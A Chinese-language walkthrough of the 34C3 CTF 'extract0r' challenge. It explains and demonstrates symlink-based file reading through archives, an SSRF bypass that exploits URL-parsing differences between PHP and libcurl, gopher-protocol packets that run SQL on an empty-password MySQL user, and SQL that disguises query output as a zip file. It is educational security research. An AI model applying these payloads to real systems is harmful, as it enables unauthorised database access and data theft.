溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Gopher是怎樣攻擊MySql

發(fā)布時(shí)間:2021-12-20 11:52:38 來(lái)源:億速云 閱讀:162 作者:柒染 欄目:數(shù)據(jù)安全

這篇文章給大家介紹Gopher是怎樣攻擊MySql,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

題目簡(jiǎn)介

34c3CTF web中的extract0r。

題中的目是一個(gè)安全解壓服務(wù),用戶輸入zip的url地址,程序?qū)rl進(jìn)行合法性校驗(yàn)后會(huì)下載該zip,然后為用戶創(chuàng)建一個(gè)目錄,把文件解壓進(jìn)去

0x00 任意文件讀取

經(jīng)過(guò)測(cè)試,發(fā)現(xiàn)輸入的域名中不能含有數(shù)字,并且壓縮文件中不能含有目錄,解壓后的目錄不解析php。通過(guò)上傳一個(gè)含有符號(hào)鏈接文件的壓縮包,可以達(dá)到任意文件讀取的效果。

ln -s ../index.php test_link
7za a -t7z -r test.7z test

上傳后訪問(wèn)test_link得到源代碼

index.php (html部分已刪去)

<?php
session_start();
url.php
function get_directory($new=false) {
    if (!isset($_SESSION["directory"]) || $new) {
        $_SESSION["directory"] = "files/" . sha1(random_bytes(100));
    }
    $directory = $_SESSION["directory"];
    if (!is_dir($directory)) {
        mkdir($directory);
    }
    return $directory;
}

function clear_directory() {
    $dir = get_directory();
    $files = glob($dir . '/*'); 
    foreach($files as $file) { 
        if(is_file($file) || is_link($file)) {
            unlink($file); 
        } else if (is_dir($file)) {
            rmdir($file);
        }
    }
}

function verify_archive($path) {
    $res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
    $line = strtok($res, "\n");
    $file_cnt = 0;
    $total_size = 0;

    while ($line !== false) {
        preg_match("/^Size = ([0-9]+)/", $line, $m);
        if ($m) {
            $file_cnt++;
            $total_size += (int)$m[1];
        }
        $line = strtok( "\n" );
    }

    if ($total_size === 0) {
        return "Archive's size 0 not supported";
    }

    if ($total_size > 1024*10) {
        return "Archive's total uncompressed size exceeds 10KB";
    }

    if ($file_cnt === 0) {
        return "Archive is empty";
    }

    if ($file_cnt > 5) {
        return "Archive contains more than 5 files";
    }

    return 0;
}

function verify_extracted($directory) {
    //遍歷解壓后的目錄下的所有文件
    $files = glob($directory . '/*'); 
    $cntr = 0;
    foreach($files as $file) {
        if (!is_file($file)) {
            //如果不是文件就刪除
            $cntr++;
            unlink($file);
            @rmdir($file);
        }
    }
    return $cntr;
}

function decompress($s) {
    $directory = get_directory(true);
    $archive =  tempnam("/tmp/", "archive_");

    file_put_contents($archive, $s);
    $error = verify_archive($archive);
    if ($error) {
        unlink($archive);
        error($error);
    }

    shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
    unlink($archive);

    return verify_extracted($directory);
}

function error($s) {
    clear_directory();
    die("<h3><b>ERROR</b></h3> " . htmlspecialchars($s));
}

$msg = "";
if (isset($_GET["url"])) {
    $page =  get_contents($_GET["url"]);

    if (strlen($page) === 0) {
        error("0 bytes fetched. Looks like your file is empty.");
    } else {
        $deleted_dirs = decompress($page);
        $msg = "<h4>Done!</h4> Your files were extracted if you provided a valid archive.";

        if ($deleted_dirs > 0) {
            $msg .= "<h4>WARNING:</h4> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!";
        }
    }
}
?>

url.php

<?php
function in_cidr($cidr, $ip) {
    list($prefix, $mask) = explode("/", $cidr);

    return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask));
}

function get_port($url_parts) {
    if (array_key_exists("port", $url_parts)) {
        return $url_parts["port"];
    } else if (array_key_exists("scheme", $url_parts)) {
        return $url_parts["scheme"] === "https" ? 443 : 80;
    } else {
        return 80;
    }
}

function clean_parts($parts) {
    // oranges are not welcome here
    $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";

    if (array_key_exists("scheme", $parts)) {
        $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
    }

    if (array_key_exists("user", $parts)) {
        $parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
    }

    if (array_key_exists("pass", $parts)) {
        $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
    }

    if (array_key_exists("host", $parts)) {
        $parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
    }

    return $parts;
}

function rebuild_url($parts) {
    $url = "";
    $url .= $parts["scheme"] . "://";
    $url .= !empty($parts["user"]) ? $parts["user"] : "";
    $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";
    $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";
    $url .= $parts["host"];
    $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";
    $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";
    $url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";
    $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";

    return $url;
}

function get_contents($url) {
    $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
        "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", 
        "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
        "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", 
        "198.51.100.0/24", "198.18.0.0/15",  "192.0.2.0/24", "100.64.0.0/10" ];

    for ($i = 0; $i < 5; $i++) {
        $url_parts = clean_parts(parse_url($url));

        if (!$url_parts) {
            error("Couldn't parse your url!");
        }

        if (!array_key_exists("scheme", $url_parts)) {
            error("There was no scheme in your url!");
        }

        if (!array_key_exists("host", $url_parts)) {
            error("There was no host in your url!");
        }

        $port = get_port($url_parts);
        $host = $url_parts["host"];

        $ip = gethostbynamel($host)[0];
        if (!filter_var($ip, FILTER_VALIDATE_IP, 
            FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
            error("Couldn't resolve your host '{$host}' or 
                the resolved ip '{$ip}' is blacklisted!");
        }

        foreach ($disallowed_cidrs as $cidr) {
            if (in_cidr($cidr, $ip)) {
                error("That IP is in a blacklisted range ({$cidr})!");
            }
        }

        // all good, rebuild url now
        $url = rebuild_url($url_parts);

        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
        curl_setopt($curl, CURLOPT_TIMEOUT, 3);
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
        curl_setopt($curl,CURLOPT_SAFE_UPLOAD,0);
        curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); //加一條緩存,防止dns rebinding
        curl_setopt($curl, CURLOPT_PORT, $port);

        $data = curl_exec($curl);

        if (curl_error($curl)) {
            error(curl_error($curl));
        }

        $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        if ($status >= 301 and $status <= 308) {
            $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
        } else {
            return $data;
        }

    }

    error("More than 5 redirects!");
}

簡(jiǎn)要分析代碼流程

Gopher是怎樣攻擊MySql

經(jīng)rebirth提醒,可以使用以.開頭的文件來(lái)繞過(guò)verify_extracted中對(duì)鏈接目錄的檢測(cè)。ln -s / .a.a打包上傳即可。這里是因?yàn)?code>glob($dir . '/*');*遍歷不到以.開頭的文件。故繞過(guò)了對(duì)文件類型的檢測(cè),成功了鏈接到了根目錄。

Gopher是怎樣攻擊MySql

翻一翻目錄會(huì)發(fā)現(xiàn):/home/extract0r/create_a_backup_of_my_supersecret_flag.shGopher是怎樣攻擊MySql

這里創(chuàng)建了一個(gè)空密碼的mysql用戶,并且flag就在數(shù)據(jù)庫(kù)中。之前已經(jīng)有利用gopher協(xié)議攻擊redis、fastcgi等的案例。我們可以試著利用gopher攻擊一下mysql。這里有兩個(gè)要點(diǎn)

  1. 繞過(guò)ip檢查,實(shí)現(xiàn)ssrf

  2. 研究mysql協(xié)議,構(gòu)造payload

0x01 SSRF

通過(guò)代碼邏輯我們可知

url->php parse_url(過(guò)濾ip)->過(guò)濾url各部分(空白字符和數(shù)字)->curl發(fā)送請(qǐng)求

這里可利用parse_urllibcurl對(duì)url解析的差異來(lái)繞過(guò)。經(jīng)過(guò)測(cè)試,得出以下結(jié)論(我本地環(huán)境php 7.0.20-2  libcurl/7.52.1

完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
這里僅討論url中不含'?'的情況

php parse_url:
host: 匹配最后一個(gè)@后面符合格式的host

libcurl:
host:匹配第一個(gè)@后面符合格式的host

如:
http://u:p@a.com:80@b.com/
php解析結(jié)果:
    schema: http 
    host: b.com
    user: u
    pass: p@a.com:80
libcurl解析結(jié)果:
    schema: http
    host: a.com
    user: u
    pass: p
    port: 80
    后面的@b.com/會(huì)被忽略掉

那么我們可以構(gòu)造出一個(gè)域名,讓php解析出來(lái)的host是a.com,dns解析后ip不在黑名單,這樣就繞過(guò)了黑名單檢查。而libcurl實(shí)際請(qǐng)求時(shí)候是另外一個(gè)域名,這樣我們就可以實(shí)現(xiàn)任意ip請(qǐng)求了。

fuzz一下后得到以下結(jié)果        
http://u:p:@a.com:3306@b.com/        
http://u:@a.com:3306@b.com/        
都可以實(shí)現(xiàn)php解析出來(lái)是b.com 而curl實(shí)際請(qǐng)求a.com:3306

但此題目中php解析url后在clean_parts中過(guò)濾了空白字符和數(shù)字,所以以上url均不可用。 

題目作者給出的url是:gopher://foo@[cafebabe.cf]@yolo.com:3306剛開始不太理解,后來(lái)@rebirth告訴我在rfc3986是這樣定義url的:

A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.        
IP-literal = "[" ( IPv6address / IPvFuture ) "]"        
也就是說(shuō)[ip]是一種host的形式,libcurl在解析時(shí)候認(rèn)為[]包裹的是host

另外ricter大佬的gopher://foo@localhost:f@ricterz.me:3306/在題目環(huán)境中是可用的,我本地不可用(題目的libcurl版本比我本地高)

0x02 mysql協(xié)議分析

研究的目的是為了構(gòu)造出gopher連接mysql的payload,mysql協(xié)議分為4.0之前和4.0之后兩個(gè)版本,這里僅討論4.0之后的協(xié)議,mysql交互過(guò)程:    
Gopher是怎樣攻擊MySql

MySQL數(shù)據(jù)庫(kù)用戶認(rèn)證采用的是挑戰(zhàn)/應(yīng)答的方式,服務(wù)器生成該挑戰(zhàn)數(shù)(scramble)并發(fā)送給客戶端,客戶端用挑戰(zhàn)數(shù)加密密碼后返回相應(yīng)結(jié)果,然后服務(wù)器檢查是否與預(yù)期的結(jié)果相同,從而完成用戶認(rèn)證的過(guò)程。 

登錄時(shí)需要用服務(wù)器發(fā)來(lái)的scramble加密密碼,但是當(dāng)數(shù)據(jù)庫(kù)用戶密碼為空時(shí),加密后的密文也為空。client給server發(fā)的認(rèn)證包就是相對(duì)固定的了。這樣就無(wú)需交互,可以通過(guò)gopher協(xié)議來(lái)發(fā)送。 

mysql數(shù)據(jù)包前需要加一個(gè)四字節(jié)的包頭。前三個(gè)字節(jié)代表包的長(zhǎng)度,第四個(gè)字節(jié)代表包序,在一次完整的請(qǐng)求/響應(yīng)交互過(guò)程中,用于保證消息順序的正確,每次客戶端發(fā)起請(qǐng)求時(shí),序號(hào)值都會(huì)從0開始計(jì)算。    

1. 握手初始化報(bào)文(服務(wù)器 -> 客戶端)

Gopher是怎樣攻擊MySql

具體到抓包數(shù)據(jù)

4C0000//包大小76 小端字節(jié)序
00//序號(hào)0 
0A//版本號(hào)
352E372E31382D3100//版本信息字符串,以\0結(jié)尾,內(nèi)容為5.7.18-1
04000000//服務(wù)器線程id
6B69457B3C342E43//scramble前半部分8字節(jié)
00//固定0x00
FFF7//服務(wù)器權(quán)能標(biāo)志低16位 用于與客戶端協(xié)商通訊方式
08//字符集,08代表utf-8
0200//服務(wù)器狀態(tài)
FF81//服務(wù)器權(quán)能標(biāo)志高16位
15//挑戰(zhàn)串長(zhǎng)度 
00000000000000000000//10字節(jié)0x00 固定填充
3A6A02314D2661447951577F00//scramble后半部分12字節(jié) 以null結(jié)尾
6D7973716C5F6E61746976655F70617373776F726400//密碼加密方式,內(nèi)容為mysql_native_password 對(duì)高版本來(lái)說(shuō)沒什么用 無(wú)視即可

2. 認(rèn)證報(bào)文(客戶端->服務(wù)器)

Gopher是怎樣攻擊MySql

當(dāng)用戶密碼為空時(shí),認(rèn)證包唯一的變量挑戰(zhàn)認(rèn)證數(shù)據(jù)為0x00(NULL),所以認(rèn)證包就是固定的了,不需要根據(jù)server發(fā)來(lái)的初始化包來(lái)計(jì)算了    
這里順帶提一下密碼的算法為

hash2 = SHA1(password) //password是用戶輸入的密碼
result = hash2 ^ sha1(scramble+sha1(hash2))

3. 命令報(bào)文

命令報(bào)文相當(dāng)簡(jiǎn)單

Gopher是怎樣攻擊MySql

第一個(gè)字節(jié)表示當(dāng)前命令的類型,比如0x02(切換數(shù)據(jù)庫(kù)),0x03(SQL查詢)后面的參數(shù)就是要執(zhí)行的sql語(yǔ)句了。

4. 驗(yàn)證

經(jīng)過(guò)分析,執(zhí)行一句sql語(yǔ)句時(shí),發(fā)送了兩個(gè)packet(認(rèn)證packet、命令packet) ,那么我們把兩個(gè)packet一起發(fā)給server端,server就會(huì)響應(yīng)給我們結(jié)果。 packet的構(gòu)造參見上文協(xié)議格式,需要注意的是mysql協(xié)議是小端字節(jié)序。 

這里我用socket做一個(gè)簡(jiǎn)單的測(cè)試,使用的是無(wú)密碼用戶,發(fā)送的sql語(yǔ)句是select now();

Gopher是怎樣攻擊MySql

那么在php下,使用libcurl請(qǐng)求也是一樣的Gopher是怎樣攻擊MySql

php的payload最后加了四個(gè)空字節(jié),這是為了讓server端解析第三個(gè)數(shù)據(jù)包時(shí)出錯(cuò),斷開與我們的連接。盡快返回?cái)?shù)據(jù),題目中curl的超時(shí)時(shí)間是3s

至此,我們完成了從gopher到sql執(zhí)行。反觀題目,這里需要curl得到的響應(yīng)是可以被解壓的。所以我們需要想辦法把查出來(lái)的數(shù)據(jù)構(gòu)造成壓縮文件格式。

0x03 壓縮文件格式

zip壓縮算法壓縮出來(lái)的文件一般包括四部分。

1.local file head
2.壓縮后的Deflate數(shù)據(jù)
3.central directory file head
4.end of central directory record

Gopher是怎樣攻擊MySql

經(jīng)過(guò)測(cè)試,7z是可以成功解壓一個(gè)格式合法的壓縮文件的,即使是文件CRC錯(cuò)誤,部分字段異常。 

那么思路就來(lái)了,利用sql語(yǔ)句構(gòu)造查詢出zip的頭和尾部,把我們想要的數(shù)據(jù)concat到中間的Deflate部分即可。(7z解壓時(shí)候發(fā)現(xiàn)部分header異常,Deflate部分的數(shù)據(jù)會(huì)不經(jīng)解壓直接寫入到解壓后的文件) 

形如    
select concat(zip_header,(the sql we want to execute), zip_eof)

針對(duì)zip具體的構(gòu)造,不在贅述,參見zip算法詳解 

這里我寫了一個(gè)函數(shù)幫助我們創(chuàng)建

from struct import *
def create_zip(filename, content_size):
    content = '-'*content_size
    filename = pack('<%ds'%len(filename), filename)
    content_len_b = pack('<I', len(content))
    filename_len_b = pack('<H', len(filename))
    local_file_header = b"\x50\x4b\x03\x04\x0a\x00"+"\x00"*12
    local_file_header += content_len_b*2
    local_file_header += filename_len_b
    local_file_header += "\x00\x00"
    local_file_header += filename
    cd_file_header = b"\x50\x4b\x01\x02\x1e\x03\x0a\x00"+"\x00"*12+filename_len_b+"\x00"*16+filename
    cd_file_header_len_b = pack("<I", len(cd_file_header))
    offset = pack("<I",len(local_file_header+cd_file_header))
    eof_record = b"\x50\x4b\x05\x06"+"\x00"*4+"\x01\x00"*2+cd_file_header_len_b+offset+"\x00\x00"
    #return each party of zip
    return [local_file_header,content,cd_file_header+eof_record]

需要注意的是,zip的Deflate部分是保存文件壓縮后的內(nèi)容,zip格式又要求必須給出Deflate部分的大小。這里我們只需把查出數(shù)據(jù)保存在Deflate部分,并且根據(jù)查詢結(jié)果的預(yù)期大小來(lái)指定Deflate部分的尺寸。 

比如查詢select version()時(shí)候Deflate大小20就夠了。 這里給出一個(gè)sql大家可以自行測(cè)試    

select concat(cast(0x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167 as binary), rpad((select now()), 1000, '-'), cast(0x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000 as binary)) into dumpfile '/tmp/test.zip';

這里的1000就是Deflate數(shù)據(jù)部分占用大小。 至此我們也就完成了sql語(yǔ)句的構(gòu)造,可以通過(guò)sql查出一個(gè)壓縮包格式的數(shù)據(jù)。并且解壓后的文件內(nèi)容就是查詢結(jié)果。 

那么梳理一下,先是通過(guò)符號(hào)鏈接,得到了一個(gè)沒有密碼的數(shù)據(jù)庫(kù)用戶。又通過(guò)parse_urllibcurl的解析差異,繞過(guò)了對(duì)ip的合法性校驗(yàn),從而可以實(shí)現(xiàn)ssrf任意ip。又通過(guò)分析mysql協(xié)議,發(fā)現(xiàn)空密碼用戶可以直接構(gòu)造出packet執(zhí)行sql語(yǔ)句。最終我們只需要輸入gopher://foo@[cafebabe.cf]@yolo.com:3306/_+(發(fā)送給mysql的packet)+(四個(gè)空字節(jié))就可以得到結(jié)果。

0x04 利用

為了方便,我寫了一個(gè)簡(jiǎn)單的mysql client,測(cè)試與mysql 的通信并生成payload。

Gopher是怎樣攻擊MySql

輸入后:

Gopher是怎樣攻擊MySql

有興趣的可以連接自己的mysql,dump出packet

Gopher是怎樣攻擊MySql

關(guān)于Gopher是怎樣攻擊MySql就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI